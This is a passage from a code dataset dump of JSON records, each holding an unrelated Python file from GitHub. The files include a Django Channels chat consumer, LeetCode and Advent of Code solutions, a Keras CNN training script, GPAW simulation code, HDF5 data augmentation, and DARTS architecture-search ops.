channels.generic.websocket import WebsocketConsumer\nfrom django.utils import timezone\n\nfrom chat.models import Message, Room\n\n\nclass WSChatType(Enum):\n CLEAR_ROOM = \"clear_room\"\n CHAT_RESPONSE = \"chat_response\"\n SAVE_MESSAGE = \"save_message\"\n\n @classmethod\n def has_value(cls, value):\n return value in [member.value for member in cls]\n\n\nclass ChatConsumer(WebsocketConsumer):\n def connect(self):\n print(\"WS Connection: Accept\")\n self.room_id = str(self.scope[\"url_route\"][\"kwargs\"][\"room_id\"])\n self.room = None\n\n if self.room_id:\n self.room = self.get_room()\n if self.room:\n self.room_name = f\"room_{self.room.id}\"\n self.room_group_name = f\"chat_{self.room_name}\"\n\n async_to_sync(self.channel_layer.group_add)(\n self.room_group_name, self.channel_name\n )\n self.groups.append(self.room_group_name)\n self.accept()\n else:\n now = str(timezone.now())\n self.accept()\n self.send(\n text_data=json.dumps(\n {\"code\": 404, \"message\": \"Room not found\", \"ts\": now}\n )\n )\n self.close()\n # else:\n # now = str(timezone.now())\n # self.accept()\n # self.send(text_data=json.dumps({\"code\":\"RIDNF\", \"message\": \"Provide Room ID\", \"ts\": now}))\n # self.close()\n\n def disconnect(self, close_code):\n print(\"WS Connection: Disconnect\")\n if self.room and self.channel_layer:\n async_to_sync(self.channel_layer.group_discard)(\n self.room_group_name, self.channel_name\n )\n\n def __call_method(self, method=\"\", *args, **kwargs):\n if not method:\n return False\n\n try:\n method_to_call = self.__getattribute__(method)\n result = method_to_call(*args, **kwargs)\n return result\n except AttributeError as ex:\n return False\n\n def receive(self, text_data):\n print(\"WS Connection: Receive\")\n\n text_data_json = json.loads(text_data)\n type = text_data_json.get(\"type\")\n\n self.user = self.scope[\"user\"]\n\n response_data = {\"type\": type}\n\n # Check if type is valid else respond\n if WSChatType.has_value(type):\n\n data = self.__call_method(type, **text_data_json)\n\n if type == WSChatType.SAVE_MESSAGE.value:\n response_data[\"message\"] = data.content\n response_data[\"user\"] = data.user.username\n response_data[\"created_at\"] = data.created_at\n elif type == WSChatType.CLEAR_ROOM.value:\n response_data[\"cleared\"] = data\n response_data[\"for\"] = self.user.username\n else:\n pass\n\n else:\n response_data[\"message\"] = \"Invalid type\"\n\n # Send message to room group\n async_to_sync(self.channel_layer.group_send)(\n self.room_group_name,\n {\"type\": WSChatType.CHAT_RESPONSE.value, \"data\": response_data},\n )\n\n def chat_response(self, event):\n response_data = event[\"data\"]\n\n # Send message to WebSocket\n self.send(\n text_data=json.dumps(\n response_data,\n default=str,\n )\n )\n\n def save_message(self, *args, message, **kwargs):\n room_members = self.room.members.all()\n message_obj = Message.objects.create(\n content=message, room=self.room, user=self.user\n )\n message_obj.visible_for.add(*[member.id for member in room_members])\n message_obj.save()\n return message_obj\n\n def clear_room(self, *args, **kwargs):\n room = self.get_room()\n messages = room.messages.all()\n for message in messages:\n message.visible_for.remove(self.user)\n return True\n\n def get_room(self):\n try:\n room_obj = Room.objects.get(id=self.room_id)\n return room_obj\n except Room.DoesNotExist as ex:\n return False\n","repo_name":"achuthvarghese/django-realtime-chat","sub_path":"chat/channels/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":4286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37284557585","text":"class ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n def __str__(self):\n res = []\n while self:\n res.append(self.val)\n self = self.next\n return \"\".join(str(res))\n\ndef createLinkFromList(nums):\n head=cur=ListNode(None)\n for item in nums:\n cur.next=ListNode(item)\n cur=cur.next\n return head.next\n\nclass Solution(object):\n def partition(self, head, x):\n lessList=lessCur=ListNode(None)\n greaterList=greaterCur=ListNode(None)\n cur=head\n if head is None:\n return head\n while cur:\n if cur.val>x:\n #greaterCur.next=ListNode(cur.val)\n greaterCur.next = cur\n greaterCur=greaterCur.next\n else:\n # lessCur.next=ListNode(cur.val)\n lessCur.next = cur\n lessCur=lessCur.next\n cur=cur.next\n greaterCur=None\n lessCur.next=greaterList.next\n return lessList.next\n\ns=Solution()\nl=createLinkFromList([2,1])\nprint(l)\nres=s.partition(l,2)\nprint(res)\n\n\n","repo_name":"jiangshshui/leetcode","sub_path":"secondPage/PartitionList_86.py","file_name":"PartitionList_86.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"989428611","text":"with open ('input.txt', 'r') as f:\n a = f.read()\n\nlist1 = a.splitlines() #creates a list with each line of the file as an element\n\nx = 0 # xth position in the password\ny = 0 # yth position in the password\nz = '' # character to be checked\nm = '' # password to be checked against\ntotal = 0 # total number of valid passwords\n\nfor i in list1:\n list2 = i.split() #each element of list1 is split at spaces. Yeilds a list with element ['x-y','z:','m']\n z = list2[1][0] # the 0th index of the string in first index place of list 2. Removes the : at the end of 'z:'\n m = list2[2] # password is the 2nd index of list2\n list3 = list2[0].split('-') #the 0th index of list2 ('x-y') is further split with '-' as a separator. Generates a list with ['x','y']\n x = int(list3[0]) - 1 # integer form of the 0th index of list3 minus 1 ('no zero index')\n y = int(list3[1]) - 1 # integer form of the 1st index of list3 minus 1 ('no zero index')\n\n if (m[x] == z or m[y] == z) and (m[x] != m[y]): # validity condition. 'or' is true even if both conditions are true, so need to remove the 'extra' passwords where both positions are occupied by z\n total = total + 1\n\nprint(total)","repo_name":"manasharma90/AoC-2020-Python","sub_path":"Puzzle2/Password2.py","file_name":"Password2.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4802643592","text":"from Products.ERP5Type.Document import newTempBase\nfrom Products.ZSQLCatalog.SQLCatalog import ComplexQuery, SimpleQuery\nfrom DateTime import DateTime\n\nrev_query_list = []\nif isinstance(kw.get('from_date'), DateTime):\n rev_query_list.append(SimpleQuery(creation_date=kw['from_date'],\n comparison_operator='>='))\nif isinstance(kw.get('at_date'), DateTime):\n rev_query_list.append(SimpleQuery(creation_date=kw['at_date'],\n comparison_operator='<='))\n\ntest_result_list = []\nrevision = None\nnew_test_result_list = []\ncontext.log(\"rev_query_list\", rev_query_list)\nif rev_query_list:\n result = context.searchFolder(title='PERF-ERP5-MASTER', simulation_state='stopped',\n revision=ComplexQuery(operator='AND', *rev_query_list),\n sort_on=(('delivery.start_date', 'ASC'),),src__=1)\n context.log(\"result\", result)\n for test in context.searchFolder(title='PERF-ERP5-MASTER', simulation_state='stopped',\n revision=ComplexQuery(operator='AND', *rev_query_list),\n sort_on=(('delivery.start_date', 'ASC'),)):\n test = test.getObject()\n if revision != test.getReference():\n revision = test.getReference()\n test_result = {'rev': str(revision)}\n test_result_list.append(test_result)\n for prop in 'all_tests', 'failures', 'errors':\n test_result[prop] = test_result.get(prop, 0) + test.getProperty(prop, 0)\n line_list = test.TestResult_getTestPerfTimingList()\n timing_dict = test_result.setdefault('timing_dict', {})\n for line in line_list:\n for k, v in line.items():\n timing_dict.setdefault(k, []).append(v)\n\n normalize = kw.get('normalize')\n base_result = {}\n\n for test_result in test_result_list:\n if test_result['errors'] < test_result['all_tests']:\n new_test_result = newTempBase(context, '')\n for k, v in test_result.pop('timing_dict').items():\n if v:\n v = sum(v) / len(v)\n test_result[k] = v / base_result.setdefault(k, normalize and v or 1)\n new_test_result.edit(**test_result)\n new_test_result_list.append(new_test_result)\n\nreturn new_test_result_list\n","repo_name":"yarec/erp5","sub_path":"bt5/erp5_test_result/SkinTemplateItem/portal_skins/erp5_test_result/TestResultModule_getTestPerfResultList.py","file_name":"TestResultModule_getTestPerfResultList.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15457109418","text":"\n# python3 cnn_learning.py\n\n\nimport numpy as np\nfrom keras.layers import Dense\nfrom keras.models import Sequential\nfrom sklearn.model_selection import train_test_split\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D\nfrom keras.optimizers import RMSprop\nfrom keras.utils import to_categorical\nfrom keras.callbacks import Callback, CSVLogger\nfrom matplotlib import pyplot as plt\n\nclasses = 2\n# data_size = 75 * 75 * 3\nimage_shape = (21, 21, 3)\ndata_load = '../model/learning-image.npz'\n\n\nclass PlotLosses(Callback):\n '''\n 学習中のlossについてlive plotする\n '''\n\n def on_train_begin(self, logs={}):\n '''\n 訓練開始時に実施\n '''\n self.epoch_cnt = 0 # epochの回数を初期化\n plt.axis([0, self.epochs, 0, 0.25])\n plt.ion() # pyplotをinteractive modeにする\n\n def on_train_end(self, logs={}):\n '''\n 訓練修了時に実施\n '''\n plt.ioff() # pyplotのinteractive modeをoffにする\n plt.legend(['loss', 'val_loss'], loc='best')\n plt.show()\n\n def on_epoch_end(self, epoch, logs={}):\n '''\n epochごとに実行する処理\n '''\n loss = logs.get('loss')\n val_loss = logs.get('val_loss')\n x = self.epoch_cnt\n # epochごとのlossとval_lossをplotする\n plt.scatter(x, loss, c='b', label='loss')\n plt.scatter(x, val_loss, c='r', label='val_loss')\n plt.pause(0.05)\n # epoch回数をcount up\n self.epoch_cnt += 1\n\n\ndef plot_result(history):\n '''\n plot result\n 全ての学習が終了した後に、historyを参照して、accuracyとlossをそれぞれplotする\n '''\n\n # accuracy\n plt.figure()\n plt.plot(history.history['acc'], label='acc', marker='.')\n plt.plot(history.history['val_acc'], label='val_acc', marker='.')\n plt.grid()\n plt.legend(loc='best')\n plt.title('accuracy')\n plt.savefig('./data/graph_accuracy.png')\n plt.show()\n\n # loss\n plt.figure()\n plt.plot(history.history['loss'], label='loss', marker='.')\n plt.plot(history.history['val_loss'], label='val_loss', marker='.')\n plt.grid()\n plt.legend(loc='best')\n plt.title('loss')\n plt.savefig('./data/graph_loss.png')\n plt.show()\n\n\n\ndef model_training(x, y, x_valid, y_valid, epochs, batch_size):\n # model = Sequential()\n # # 隠れ層:64、入力層:データサイズ、活性化関数:Relu\n # model.add(Dense(units=64, activation='relu', input_dim=(data_size)))\n # # 出力層:分類するクラス数、活性化関数:Softmax\n # model.add(Dense(units=classes, activation='softmax'))\n # # モデルをコンパイル\n # model.compile(loss='sparse_categorical_crossentropy',\n # optimizer='sgd',\n # metrics=['accuracy'])\n # model.fit(x, y, epochs=60)\n # callback function\n plot_losses = PlotLosses() # グラフ表示(live plot)\n plot_losses.epochs = epochs\n csv_logger = CSVLogger('../model/trainlog.csv')\n\n\n\n model = Sequential()\n model.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=image_shape))\n model.add(Conv2D(64, (3, 3), activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n model.add(Conv2D(64, (3, 3), activation='relu'))\n model.add(Conv2D(64, (3, 3), activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Flatten())\n model.add(Dense(256, activation='relu'))\n model.add(Dense(128, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(classes, activation='softmax'))\n # モデルをコンパイル\n model.compile(loss='categorical_crossentropy',\n optimizer=RMSprop(),\n metrics=['accuracy'])\n \n print(model.summary())\n\n history = model.fit(x, y, \n batch_size=batch_size, \n epochs=epochs, \n verbose=1, \n validation_data=(x_valid, y_valid), \n callbacks=[plot_losses, csv_logger])\n\n\n plot_result(history)\n\n return model\n \n \ndef model_evaluation(model, x_test, y_test):\n score = model.evaluate(x_test, y_test)\n print(score)\n print('Loss = ', score[0])\n print('Accuracy = ', score[1])\n \n \nif __name__ == '__main__':\n \n try:\n # データの読み込み\n data_set = np.load(data_load)\n\n print(data_load, \"を用いる\")\n X = data_set[\"x\"]\n Y = data_set[\"y\"]\n # 2次元に変換\n # X = np.reshape(X, (-1, data_size))\n # print(X.shape) e.g. 162\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, train_size=0.9)\n # print(X_train.shape) e.g.145\n X_train1, X_valid, Y_train1, Y_valid = train_test_split(X_train, Y_train, test_size=0.175)\n # print(X_train1.shape) e.g. 119\n \n # Y_train = Y_train.reshape(len(Y_train.data), 2)\n Y_train1 = to_categorical(Y_train1)\n Y_test = to_categorical(Y_test)\n Y_valid = to_categorical(Y_valid)\n \n epochs = 20\n batch_size = 128\n\n print('epoch:', epochs)\n print('batch_size:', batch_size)\n\n model = model_training(X_train1, Y_train1, X_valid, Y_valid, epochs, batch_size)\n model_path = '../model/learning-image.h5'\n model.save(model_path)\n model_evaluation(model, X_test, Y_test)\n \n score = model.evaluate(X_test, Y_test, verbose=0)\n print('Test loss: {0}'.format(score[0]))\n print('Test accuracy: {0}'.format(score[1]))\n \n print(model_path, \"にmodelを保存\")\n \n except Exception as e:\n traceback.print_exc()\n\n\n\n","repo_name":"karrykarry/evaluation","sub_path":"cnn_script/cnn_learning.py","file_name":"cnn_learning.py","file_ext":"py","file_size_in_byte":5703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12024898001","text":"from typing import Union\n\n\nclass StackWithErrorsHandling:\n def __init__(self):\n self.stack = []\n\n def push(self, num: int) -> str:\n self.stack.append(num)\n return 'ok'\n\n def pop(self) -> Union[int, str]:\n if self.size() == 0:\n return 'error'\n return self.stack.pop()\n\n def back(self) -> Union[int, str]:\n if self.size() == 0:\n return 'error'\n return self.stack[-1]\n\n def size(self) -> int:\n return len(self.stack)\n\n def clear(self) -> str:\n self.stack.clear()\n return 'ok'\n\n\ndef process_stack_requests():\n stack = StackWithErrorsHandling()\n zero_parameters_commands = {\n 'pop': stack.pop,\n 'back': stack.back,\n 'size': stack.size,\n 'clear': stack.clear\n }\n\n input_str = input()\n while input_str != 'exit':\n input_str_arr = input_str.split()\n command = input_str_arr[0]\n\n if command in zero_parameters_commands:\n print(zero_parameters_commands[command]())\n else:\n print(stack.push(int(input_str_arr[1])))\n\n input_str = input()\n\n print('bye')\n\n\nif __name__ == '__main__':\n process_stack_requests()\n","repo_name":"momsspaghettti/yandex-algorithms-trainings-3.0","sub_path":"1/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36116304038","text":"import configparser\nfrom itertools import chain\n\nimport luigi\nimport pypacscrawler.writer as w\nfrom pypacscrawler.query import query_for_study_uid\n\n\nclass StudyUIDTask(luigi.Task):\n # example run command\n # python -m tasks.accession AccessionTask --accession-number 1234 --local-scheduler\n accession_number = luigi.Parameter()\n\n def run(self):\n config = configparser.ConfigParser()\n filename = \"./instance/config.cfg\"\n with open(filename) as fp:\n config.read_file(chain([\"[PACS]\"], fp), source=filename)\n study_uids = query_for_study_uid(config, self.accession_number)\n with self.output().open(\"w\") as outfile:\n for i in study_uids:\n outfile.write(i + \"\\n\")\n\n def output(self):\n return luigi.LocalTarget(\"data/%s_accession.txt\" % self.accession_number)\n\n\nif __name__ == \"__main__\":\n luigi.run()\n","repo_name":"joshy/pypacscrawler","sub_path":"tasks/study_uid.py","file_name":"study_uid.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"20403718226","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 28 11:39:17 2019\n\n@author: misa\n\"\"\"\n\nfrom CPMD_algo import CPMD\nfrom gpaw.projections import Projections\nfrom gpaw import GPAW\nfrom ase import Atoms\nfrom gpaw.eigensolvers import CG\nfrom gpaw.mixer import Mixer\nfrom gpaw import setup_paths\nsetup_paths.insert(0, '/home/misa/APDFT/prototyping/gpaw/OFDFT/setups')\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport math\nfrom gpaw.forces import calculate_forces\nimport os\nimport cProfile\n\ndef create_ref_Calc(d):\n from gpaw.eigensolvers import CG\n from gpaw.mixer import Mixer\n from gpaw import setup_paths\n setup_paths.insert(0, '/home/misa/APDFT/prototyping/gpaw/OFDFT/setups')\n a = 12\n c = a/2\n\n d_list = np.linspace(d, d, 1) # bond distance\n # XC functional + kinetic functional (minus the Tw contribution) to be used\n xcname = '1.0_LDA_K_TF+1.0_LDA_X+1.0_LDA_C_PW'\n # Fraction of Tw\n lambda_coeff = 1.0\n name = 'lambda_{0}'.format(lambda_coeff)\n elements = 'H2'\n mixer = Mixer()\n eigensolver = CG(tw_coeff=lambda_coeff)\n \n energy_arr = np.empty(len(d_list))\n Calc_ref = None\n for idx, d in enumerate(d_list):\n molecule = Atoms(elements,\n positions=[(c,c,c-d/2), (c, c, c+d/2)] ,\n cell=(a,a,a), pbc=True)\n \n Calc_ref = GPAW(gpts=(32, 32, 32),\n xc=xcname,\n maxiter=500,\n eigensolver=eigensolver,\n mixer=mixer,\n setups=name, txt='Calc_ref.out')\n \n \n molecule.set_calculator(Calc_ref)\n energy_arr[idx] = molecule.get_total_energy()\n Calc_ref.write('Calc_ref_32_gpts_d_'+ str(d) +'.gpw', mode='all')\n return(Calc_ref)\n\ndef create_ref_Calc_64_gpt(d):\n from gpaw.eigensolvers import CG\n from gpaw.mixer import Mixer\n from gpaw import setup_paths\n setup_paths.insert(0, '/home/misa/APDFT/prototyping/gpaw/OFDFT/setups')\n a = 12\n c = a/2\n\n d_list = np.linspace(d, d, 1) # bond distance\n # XC functional + kinetic functional (minus the Tw contribution) to be used\n xcname = '1.0_LDA_K_TF+1.0_LDA_X+1.0_LDA_C_PW'\n # Fraction of Tw\n lambda_coeff = 1.0\n name = 'lambda_{0}'.format(lambda_coeff)\n elements = 'H2'\n mixer = Mixer()\n eigensolver = CG(tw_coeff=lambda_coeff)\n \n energy_arr = np.empty(len(d_list))\n Calc_ref = None\n for idx, d in enumerate(d_list):\n molecule = Atoms(elements,\n positions=[(c,c,c-d/2), (c, c, c+d/2)] ,\n cell=(a,a,a), pbc=True)\n \n Calc_ref = GPAW(gpts=(64, 64, 64),\n xc=xcname,\n maxiter=500,\n eigensolver=eigensolver,\n mixer=mixer,\n setups=name, txt='Calc_ref.out')\n \n molecule.set_calculator(Calc_ref)\n energy_arr[idx] = molecule.get_total_energy()\n Calc_ref.write('Calc_ref_64_gpts_d_'+ str(d) +'.gpw', mode='all')\n return(Calc_ref)\n \ndef reference(d, gpts):\n \"\"\" load gpw file for initial wavefunction or calculate if gpw-file does not exist\n d: H-H bond distance\n gpts: number of grid points\n \"\"\"\n current_dir = os.getcwd()\n if gpts == 32:\n if os.path.isfile( os.path.join(current_dir, 'Calc_ref_32_gpts_d_'+ str(d) +'.gpw') ):\n Calc_ref = GPAW( os.path.join(current_dir, 'Calc_ref_32_gpts_d_'+ str(d) +'.gpw') )\n else:\n Calc_ref = create_ref_Calc(d)\n elif gpts == 64:\n if os.path.isfile( os.path.join(current_dir, 'Calc_ref_64_gpts_d_'+ str(d) +'.gpw') ):\n Calc_ref = GPAW( os.path.join(current_dir, 'Calc_ref_64_gpts_d_'+ str(d) +'.gpw') )\n else:\n Calc_ref = create_ref_Calc_64_gpt(d)\n print('Reference intialized!')\n return Calc_ref\n\nCalc_ref = reference(2.0, 32)\n\n# initialize\nkwargs_mol = {'symbols':Calc_ref.atoms.symbols.get_chemical_formula(), 'cell':Calc_ref.atoms.cell.diagonal(), 'pbc':Calc_ref.atoms.pbc }\ncoords = Calc_ref.atoms.get_positions()\ngpts = Calc_ref.get_number_of_grid_points()\nxc = Calc_ref.get_xc_functional()\nmaxiter = 500\nlambda_coeff = float(Calc_ref.parameters['setups'][Calc_ref.parameters['setups'].find('lambda_')+7:])\neigensolver = CG(tw_coeff=lambda_coeff)\nmixer = Mixer()\nsetups = 'lambda_' + str(lambda_coeff)\ntxt = 'output_test.txt'\nkwargs_Calc = { 'gpts':gpts , 'xc':xc, 'maxiter':maxiter, 'eigensolver':eigensolver, 'mixer':mixer, 'setups':setups, 'txt':txt}\n\noccupation_numbers = Calc_ref.wfs.kpt_u[0].f_n\npseudo_wf = Calc_ref.wfs.kpt_u[0].psit_nG[0]\nmu = 500\ndt = 0.05\nniter_max = 10\n\n# Create target directory & all intermediate directories if don't exists\npath = '/home/misa/APDFT/prototyping/gpaw/CPMD/results/'+'dt_'+str(dt)+'-mu_'+str(mu)\nif not os.path.exists(path):\n os.makedirs(path)\n\nCPMD_obj = CPMD(kwargs_Calc, kwargs_mol, occupation_numbers, mu, dt, niter_max, pseudo_wf, coords, path)\n\n# test run\nCPMD_obj.run()\nCPMD_obj.save_all()\n\n#cProfile.run('CPMD_obj.run()', 'stats')\n#CPMD_obj.save_all()\n#import pstats\n#p = pstats.Stats('stats')\n#p.strip_dirs()\n#p.sort_stats('cumulative').print_stats(20)\n\n#Calc_ref = create_ref_Calc(2.0)\n#forces_ref_before_update = calculate_forces(Calc_ref.wfs, Calc_ref.density, Calc_ref.hamiltonian)\n#nproj_a = [setup.ni for setup in Calc_ref.wfs.setups] # atomic density matirx\n#for kpt in Calc_ref.wfs.kpt_u:\n#\n# kpt.P = Projections(\n# Calc_ref.wfs.bd.nbands, nproj_a,\n# kpt.P.atom_partition,\n# Calc_ref.wfs.bd.comm,\n# collinear=True, spin=0, dtype=Calc_ref.wfs.dtype)\n#\n#kpt.psit.matrix_elements(Calc_ref.wfs.pt, out=kpt.P) \n#Calc_ref.wfs.calculate_atomic_density_matrices(Calc_ref.density.D_asp)\n#Calc_ref.density.calculate_pseudo_density(Calc_ref.wfs) # electron density\n#Calc_ref.density.interpolate_pseudo_density()\n#Calc_ref.density.calculate_pseudo_charge() # charge density\n#Calc_ref.hamiltonian.update_pseudo_potential(Calc_ref.density) # calculate effective potential\n#Calc_ref.hamiltonian.restrict_and_collect(Calc_ref.hamiltonian.vt_sg, Calc_ref.hamiltonian.vt_sG) # restrict to coarse grid\n#vt_G_ref = Calc_ref.hamiltonian.gd.collect(Calc_ref.hamiltonian.vt_sG[0], broadcast=True) # get effective potential \n#kinetic_energy_op_ref = np.zeros(kpt.psit_nG[0].shape, dtype = float) # calculate dT/drho\n#Calc_ref.wfs.kin.apply(kpt.psit_nG[0], kinetic_energy_op_ref, phase_cd=None)\n#kinetic_energy_op_ref = kinetic_energy_op_ref/kpt.psit_nG[0] # scaling for OFDFT (see paper Lehtomaeki)\n#dE_drho_ref = kinetic_energy_op_ref + vt_G_ref\n#\n#\n## atomic forces\n##W_aL = Calc_ref.hamiltonian.calculate_atomic_hamiltonians(Calc_ref.density)\n##atomic_energies = Calc_ref.hamiltonian.update_corrections(Calc_ref.density, W_aL)\n#\n#Calc_ref.hamiltonian.update(Calc_ref.density)\n#magmom_a=Calc_ref.atoms.get_initial_magnetic_moments() \n#magmom_av = np.zeros((len(Calc_ref.atoms), 3))\n#magmom_av[:, 2] = magmom_a\n#Calc_ref.create_occupations(magmom_av[:, 2].sum(), True)\n#print(Calc_ref.hamiltonian.get_energy(Calc_ref.occupations))","repo_name":"ferchault/APDFT","sub_path":"prototyping/gpaw/CPMD/test_CPMD_simulation.py","file_name":"test_CPMD_simulation.py","file_ext":"py","file_size_in_byte":7180,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"} +{"seq_id":"11482707049","text":"import shutil\nimport h5py\nimport numpy as np\nimport os\ndef read_data(file_path):\n projections = h5py.File(file_path, 'r')['ITKImage/0/VoxelData'][:]\n return projections\ndef save_data(input_file_path, output_file_path, projections):\n shutil.copyfile(input_file_path, output_file_path)\n outputFile = h5py.File(output_file_path, 'r+')\n voxelData = outputFile['ITKImage/0/VoxelData']\n voxelData[...] = projections\n \n \n\ndef flip(projections, axis):\n flipped_projections = np.flip(projections, axis =axis)\n return flipped_projections\n\ndef add_noise(projections):\n noise = np.random.normal(0, 1, size = projections.shape)\n noisy_projections = projections + noise\n return noisy_projections\n\ndef augment(input_dir, output_dir):\n for file_name in os.listdir(input_dir):\n projections = read_data(input_dir+file_name)\n name, ext = file_name.split(\".h5\")\n \n projections = flip(projections, 0)\n save_data(input_dir+file_name, output_dir+name+'flipped_0_modified.h5', projections)\n \n projections = flip(projections, 1)\n save_data(input_dir+file_name, output_dir+name+'flipped_1_modified.h5', projections)\n \n projections = flip(projections, 2)\n save_data(input_dir+file_name, output_dir+name+'flipped_2_modified.h5', projections)\n \n projections = flip(projections, 0)\n projections = add_noise(projections)\n save_data(input_dir+file_name, output_dir+name+'flipped_noise_0_modified.h5', projections)\n \n projections = flip(projections, 1)\n projections = add_noise(projections)\n save_data(input_dir+file_name, output_dir+name+'flipped_noise_1_modified.h5', projections)\n \n projections = flip(projections, 2)\n projections = add_noise(projections)\n save_data(input_dir+file_name, output_dir+name+'flipped_noise_2_modified.h5', projections)\n \naugment('/home/ubuntu/Desktop/MachineLearning/ViewerMachineLearning/DataForLabelling/', '/home/ubuntu/Desktop/MachineLearning/ViewerMachineLearning/Augmented/')\n \n \n\n","repo_name":"merekg/tinker","sub_path":"python/ImageProcessing/h5Tools/Augmentation.py","file_name":"Augmentation.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33563666192","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('etl', '0026_featuretype_created_on'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='featuretype',\n name='created_on',\n ),\n ]\n","repo_name":"diudiu/featurefactory","sub_path":"apps/etl/migrations/0027_remove_featuretype_created_on.py","file_name":"0027_remove_featuretype_created_on.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16387281757","text":"import functools\nfrom typing import Callable, Optional, Sequence\n\nimport pyglove as pg\nimport sonnet as snt\nimport tensorflow as tf\n\n_GRAPHVIZ_URL = 'https://localhost/render_png?layout_engine=dot'\n\n\nclass DartsOp(snt.Module):\n \"\"\"Base class for all operations used in DARTS.\"\"\"\n\n def __init__(self, name: Optional[str] = None, **kwargs):\n \"\"\"A common interface for the constructor.\"\"\"\n del kwargs\n super().__init__(name)\n\n\nDartsOpConstructor = Callable[..., DartsOp]\n\n\nclass MixedOp(DartsOp):\n \"\"\"A mixture of ops.\n\n A `MixedOp` consists of several candidate ops. Given an input, apply all\n candidate ops to it, and return a weighted sum. The weights are provided by\n the caller (typically a `DartsCell` containing this `MixedOp`).\n\n We assume these candidate ops produce outputs with compatible shapes, so we\n perform the weighted sum without any checking.\n \"\"\"\n\n def __init__(self,\n output_channels: int,\n stride: int,\n op_constructors: Sequence[DartsOpConstructor],\n name: Optional[str] = 'MixedOp'):\n super().__init__(name=name)\n self._ops = [\n op(output_channels=output_channels, stride=stride)\n for op in op_constructors\n ]\n\n def __call__(self, x, ops_weights, is_training):\n op_results = [op(x, is_training=is_training) for op in self._ops]\n return tf.reduce_sum(tf.stack(op_results, axis=-1) * ops_weights, axis=-1)\n\n\ndef generate_darts_op(\n class_name: str, simple_tf_fn: Callable[[tf.Tensor],\n tf.Tensor]) -> DartsOpConstructor:\n \"\"\"Converts simple tf function (e.g. tf.nn.relu) into a DartsOpConstructor.\"\"\"\n\n def init_fn(self, stride: int = 1, name: Optional[str] = None, **kwargs):\n del kwargs\n self.stride = stride\n DartsOp.__init__(self, name=name)\n\n def call_fn(self, x, **kwargs): # pylint: disable=unused-argument\n del kwargs\n if self.stride > 1:\n # Normally, stride does not make sense for (non)linear ops. Here we insert\n # an average pooling layer with the specified stride. The output size\n # matches snt.Conv2D with (stride = stride, padding='SAME').\n x = tf.nn.avg_pool2d(x, ksize=3, strides=self.stride, padding='SAME')\n\n return simple_tf_fn(x)\n\n return type(class_name, (DartsOp,), {\n '__init__': init_fn,\n '__call__': call_fn\n })\n\n\nclass Dense(DartsOp):\n \"\"\"Dense layer which can also use nonlinearities.\"\"\"\n\n def __init__(self,\n output_channels: int,\n nonlinearity=None,\n name: Optional[str] = 'Dense',\n **kwargs):\n super().__init__(name=name)\n self._op = snt.Linear(output_size=output_channels)\n self._nonlinearity = nonlinearity\n\n def __call__(self, x, **kwargs):\n out = self._op(x)\n if self._nonlinearity:\n out = self._nonlinearity(out)\n return out\n\n\nclass Highway(DartsOp):\n \"\"\"Highway bypass which is used to stabilize RNN search.\"\"\"\n\n def __init__(self,\n output_channels: int,\n nonlinearity=None,\n name: Optional[str] = 'Highway',\n **kwargs):\n super().__init__(name=name)\n self._c_projection = snt.Linear(output_size=output_channels)\n self._h_projection = snt.Linear(output_size=output_channels)\n self._nonlinearity = nonlinearity\n\n def __call__(self, x, **kwargs):\n old_h = x\n c = tf.nn.sigmoid(self._c_projection(old_h))\n\n first_h_component = self._h_projection(old_h)\n if self._nonlinearity:\n first_h_component = self._nonlinearity(first_h_component)\n first_h_component = tf.multiply(c, first_h_component)\n second_h_component = tf.multiply(1.0 - c, old_h)\n\n return first_h_component + second_h_component\n\n\nclass MaxPool(DartsOp):\n \"\"\"Max Pooling Operation.\n\n Stride set to 1 to preserve input shape. Use SAME padding.\n \"\"\"\n\n def __init__(self,\n pool_size: int = 3,\n stride: int = 1,\n name: Optional[str] = 'MaxPool',\n **kwargs):\n super().__init__(name=name)\n self._op = tf.keras.layers.MaxPool2D(\n pool_size=pool_size, strides=stride, padding='SAME')\n\n def __call__(self, x, **kwargs):\n return self._op(x)\n\n\nclass AveragePool(DartsOp):\n \"\"\"Average Pooling Operation.\n\n Stride set to 1 to preserve input shape. Use SAME padding.\n \"\"\"\n\n def __init__(self,\n pool_size: int = 3,\n stride: int = 1,\n name: Optional[str] = 'AveragePool',\n **kwargs):\n super().__init__(name=name)\n self._op = tf.keras.layers.AveragePooling2D(\n 